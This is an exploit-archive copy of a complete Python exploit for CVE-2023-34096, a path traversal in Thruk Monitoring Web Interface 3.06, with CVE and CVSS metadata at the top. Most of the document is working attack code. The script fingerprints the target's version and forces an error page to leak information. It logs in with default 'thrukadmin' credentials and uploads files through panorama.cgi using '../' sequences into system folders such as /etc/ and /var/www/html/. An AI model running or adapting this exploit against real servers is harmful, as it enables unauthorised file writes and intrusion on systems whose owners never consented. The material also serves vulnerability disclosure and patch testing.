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Thruk Monitoring Web Interface 3.06 Path Traversal

CVE Category Price Severity
CVE-2023-34096 CWE-22 $1000 High
Author Risk Exploitation Type Date
Alexis Metalnikov High Remote 2023-06-10
CVSS
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2023060015

Below is a copy:

Thruk Monitoring Web Interface 3.06 Path Traversal
# Exploit Title: Path Traversal Vulnerability in Thruk Monitoring Web Interface  3.06
# Date: 08-Jun-2023
# Exploit Author: Galoget Latorre (@galoget)
# CVE: CVE-2023-34096 (Galoget Latorre)
# Vendor Homepage: https://thruk.org/
# Software Link: https://github.com/sni/Thruk/archive/refs/tags/v3.06.zip
# Software Link + Exploit + PoC (Backup): https://github.com/galoget/Thruk-CVE-2023-34096
# CVE Author Blog: https://galogetlatorre.blogspot.com/2023/06/cve-2023-34096-path-traversal-thruk.html
# GitHub Security Advisory: https://github.com/sni/Thruk/security/advisories/GHSA-vhqc-649h-994h
# Affected Versions: <= 3.06
# Language: Python 3.x
# Tested on:
#  - Ubuntu 22.04.5 LTS 64-bit
#  - Debian GNU/Linux 10 (buster) 64-bit
#  - Kali GNU/Linux 2023.1 64-bit
#  - CentOS GNU/Linux 8.5.2111 64-bit


#!/usr/bin/python3
# -*- coding:utf-8 -*-

import sys
import warnings
import requests
from bs4 import BeautifulSoup
from termcolor import cprint


# Usage: python3 exploit.py <target.site>
# Example: python3 exploit.py http://127.0.0.1/thruk/


# Disable warnings
warnings.filterwarnings('ignore')


# Set headers
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36"
}


def banner():
    """
    Function to print the banner
    """

    banner_text = """
 __     __     __   __  __  __      __        __   __   __  
/  \\  /|_  __   _) /  \\  _)  _) __   _) |__| /  \\ (__\\ /__  
\\__ \\/ |__     /__ \\__/ /__ __)     __)    | \\__/  __/ \\__) 

                                                               
Path Traversal Vulnerability in Thruk Monitoring Web Interface  3.06
Exploit & CVE Author: Galoget Latorre (@galoget)
LinkedIn: https://www.linkedin.com/in/galoget
"""
    print(banner_text)


def usage_instructions():
    """
    Function that validates the number of arguments.
    The application MUST have 2 arguments:
    - [0]: Name of the script
    - [1]: Target URL (Thruk Base URL)
    """
    if len(sys.argv) != 2:
        print("Usage: python3 exploit.py <target.site>")
        print("Example: python3 exploit.py http://127.0.0.1/thruk/")
        sys.exit(0)


def check_vulnerability(thruk_version):
    """
    Function to check if the recovered version is vulnerable to CVE-2023-34096.
    Prints additional information about the vulnerability.
    """
    try:
        if float(thruk_version[1:5]) <= 3.06:
            if float(thruk_version[4:].replace("-", ".")) < 6.2:
                cprint("[+] ", "green", attrs=['bold'], end = "")
                print("This version of Thruk is ", end = "")
                cprint("VULNERABLE ", "red", attrs=['bold'], end = "")
                print("to CVE-2023-34096!")
                print(" |  CVE Author Blog: https://galogetlatorre.blogspot.com/2023/06/cve-2023-34096-path-traversal-thruk.html")
                print(" |  GitHub Security Advisory: https://github.com/sni/Thruk/security/advisories/GHSA-vhqc-649h-994h")
                print(" |  CVE MITRE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-34096")
                print(" |  CVE NVD NIST: https://nvd.nist.gov/vuln/detail/CVE-2023-34096")
                print(" |  Thruk Changelog: https://www.thruk.org/changelog.html")
                print(" |  Fixed version: 3.06-2+")
                print("")
                return True
            else:
                cprint("[-] ", "red", attrs=['bold'], end = "")
                print("It looks like this version of Thruk is NOT VULNERABLE to CVE-2023-34096.")
                return False
    except:
        cprint("[-] ", "red", attrs=['bold'], end = "")
        print("There was an error parsing Thruk's version.\n")
        return False


def get_thruk_version():
    """
    Function to get Thruk's version via web scraping.
    It also verifies the title of the website to check if the target is a Thruk instance.
    """
    response = requests.get(target, headers=headers, allow_redirects=True, verify=False, timeout=10)
    html_soup = BeautifulSoup(response.text, "html.parser")

    if "<title>Thruk Monitoring Webinterface</title>" not in response.text:
        cprint("[-] ", "red", attrs=['bold'], end = "")
        print("Verify if the URL is correct and points to a Thruk Monitoring Web Interface.")
        sys.exit(-1)
    else:
        # Extract version anchor tag
        version_link = html_soup.find_all("a", {"class": "link text-sm"})

        if len(version_link) == 1 and version_link[0].has_attr('href'):
            thruk_version = version_link[0].text.strip()
            cprint("[+] ", "green", attrs=['bold'], end = "")
            print(f"Detected Thruk Version (Public Banner): {thruk_version}\n")
            return thruk_version
        else:
            cprint("[-] ", "red", attrs=['bold'], end = "")
            print("There was an error retrieving Thruk's version.")
            sys.exit(-1)


def get_error_info():
    """
    Function to cause an error in the target Thruk instance and collect additional information via web scraping.
    """
    # URL that will cause an error
    error_url = target + "//cgi-bin/login.cgi"

    # Retrieve Any initial Cookies
    error_response = requests.get(error_url,
                                  headers=headers,
                                  allow_redirects=False,
                                  verify=False,
                                  timeout=10)

    cprint("[*] ", "blue", attrs=['bold'], end = "")
    print("Trying to retrieve additional information...\n")
    try:
        # Search for the error tag
        html_soup = BeautifulSoup(error_response.text, "html.parser")
        error_report = html_soup.find_all("pre", {"class": "text-left mt-5"})[0].text
        if len(error_report) > 0:
            # Print Error Info
            error_report = error_report[error_report.find("Version"):error_report.find("\n\nStack")]
            cprint("[+] ", "green", attrs=['bold'], end = "")
            print("Recovered Information: \n")
            parsed_error_report = error_report.split("\n")
            for error_line in parsed_error_report:
                print(f"     {error_line}")
    except:
        cprint("[-] ", "red", attrs=['bold'], end = "")
        print("No additional information available.\n")


def get_thruk_session_auto_login():
    """
    Function to login into the Thruk instance and retrieve a valid session.
    It will use default Thruk's credentials available here:
    - https://www.thruk.org/documentation/install.html
    
    Change credentials if required.
    """
    # Default Credentials - Change if required
    username = "thrukadmin" # CHANGE ME
    password = "thrukadmin" # CHANGE ME
    params = {"login": username, "password": password}

    cprint("[*] ", "blue", attrs=['bold'], end = "")
    print(f"Trying to autenticate with provided credentials: {username}/{password}\n")

    # Define Login URL
    login_url = "cgi-bin/login.cgi"

    session = requests.Session()
    # Retrieve Any initial Cookies
    session.get(target, headers=headers, allow_redirects=True, verify=False)

    # Login and get thruk_auth Cookie
    session.post(target + login_url, data=params, headers=headers, allow_redirects=False, verify=False)

    # Get Cookies as dictionary
    cookies = session.cookies.get_dict()

    # Successful Login
    if cookies.get('thruk_auth') is not None:
        cprint("[+] ", "green", attrs=['bold'], end = "")
        print("Successful Authentication!\n")
        cprint("[+] ", "green", attrs=['bold'], end = "")
        print(f"Login Cookie: thruk_auth={cookies.get('thruk_auth')}\n")
        return session
    # Failed Login
    else:
        if cookies.get('thruk_message') == "fail_message~~login%20failed":
            cprint("[-] ", "red", attrs=['bold'], end = "")
            print("Login Failed, check your credentials.")
            sys.exit(401)


def cve_2023_34096_exploit_path_traversal(logged_session):
    """
    Function that attempts to exploit the Path Traversal Vulnerability.
    The exploit will try to upload a PoC file to multiple common folders.
    This to prevent permissions errors to cause false negatives.
    """
    cprint("[*] ", "blue", attrs=['bold'], end = "")
    print("Trying to exploit: ", end = "")
    cprint("CVE-2023-34096 - Path Traversal\n", "yellow", attrs=['bold'])

    # Define Upload URL
    upload_url = "cgi-bin/panorama.cgi"

    # Absolute paths
    common_folders = ["/tmp/",
                      "/etc/thruk/plugins/plugins-enabled/",
                      "/etc/thruk/panorama/",
                      "/etc/thruk/bp/",
                      "/etc/thruk/thruk_local.d/",
                      "/var/www/",
                      "/var/www/html/",
                      "/etc/",
    ]

    # Upload PoC file to each folder
    for target_folder in common_folders:
        # PoC file extension is jpg due to regex validations of Thruk.
        # Nevertheless this issue can still cause damage in different ways to the affected instance.
        files = {'image': ("exploit.jpg", "CVE-2023-34096-Exploit-PoC-by-galoget")}
        data = {"task": "upload",
                "type": "image",
                "location": f"backgrounds/../../../..{target_folder}"
        }

        upload_response = logged_session.post(target + upload_url,
                                    data=data,
                                    files=files,
                                    headers=headers,
                                    allow_redirects=False,
                                    verify=False)

        try:
            upload_response = upload_response.json()
            if upload_response.get("msg") == "Upload successfull" and upload_response.get("success") is True:
                cprint("[+] ", "green", attrs=['bold'], end = "")
                print(f"File successfully uploaded to folder: {target_folder}{files.get('image')[0]}\n")
            elif upload_response.get("msg") == "Fileupload must use existing and writable folder.":
                cprint("[-] ", "red", attrs=['bold'], end = "")
                print(f"File upload to folder \'{target_folder}{files.get('image')[0]}\' failed due to write permissions or non-existent folder!\n")
            else:
                cprint("[-] ", "red", attrs=['bold'], end = "")
                print("File upload failed.\n")
        except:
            cprint("[-] ", "red", attrs=['bold'], end = "")
            print("File upload failed.\n")



if __name__ == "__main__":
    banner()
    usage_instructions()

    # Change this with the domain or IP address to attack
    if sys.argv[1] and sys.argv[1].startswith("http"):
        target = sys.argv[1]
    else:
        target = "http://127.0.0.1/thruk/"

    # Prepare Base Target URL
    if not target.endswith('/'):
        target += "/"

    cprint("[+] ", "green", attrs=['bold'], end = "")
    print(f"Target URL: {target}\n")

    # Get Thruk version via web scraping
    scraped_thruk_version = get_thruk_version()

    # Send a request that will generate an error and collect extra info
    get_error_info()

    # Check if the instance is vulnerable to CVE-2023-34096
    vulnerable_status = check_vulnerability(scraped_thruk_version)

    if vulnerable_status:
        cprint("[+] ", "green", attrs=['bold'], end = "")
        print("The Thruk version found in this host is vulnerable to CVE-2023-34096. Do you want to try to exploit it?")

        # Confirm exploitation
        option = input("\nChoice (Y/N): ").lower()
        print("")

        if option == "y":
            cprint("[*] ", "blue", attrs=['bold'], end = "")
            print("The tool will attempt to exploit the vulnerability by uploading a PoC file to common folders...\n")
            # Login into Thruk instance
            valid_session = get_thruk_session_auto_login()
            # Exploit Path Traversal Vulnerability
            cve_2023_34096_exploit_path_traversal(valid_session)
        elif option == "n":
            cprint("[*] ", "blue", attrs=['bold'], end = "")
            print("No exploitation attempts were performed, Goodbye!\n")
            sys.exit(0)
        else:
            cprint("[-] ", "red", attrs=['bold'], end = "")
            print("Unknown option entered.")
            sys.exit(1)
    else:
        cprint("[-] ", "red", attrs=['bold'], end = "")
        print("The current Thruk's version is NOT VULNERABLE to CVE-2023-34096.")
        sys.exit(2)

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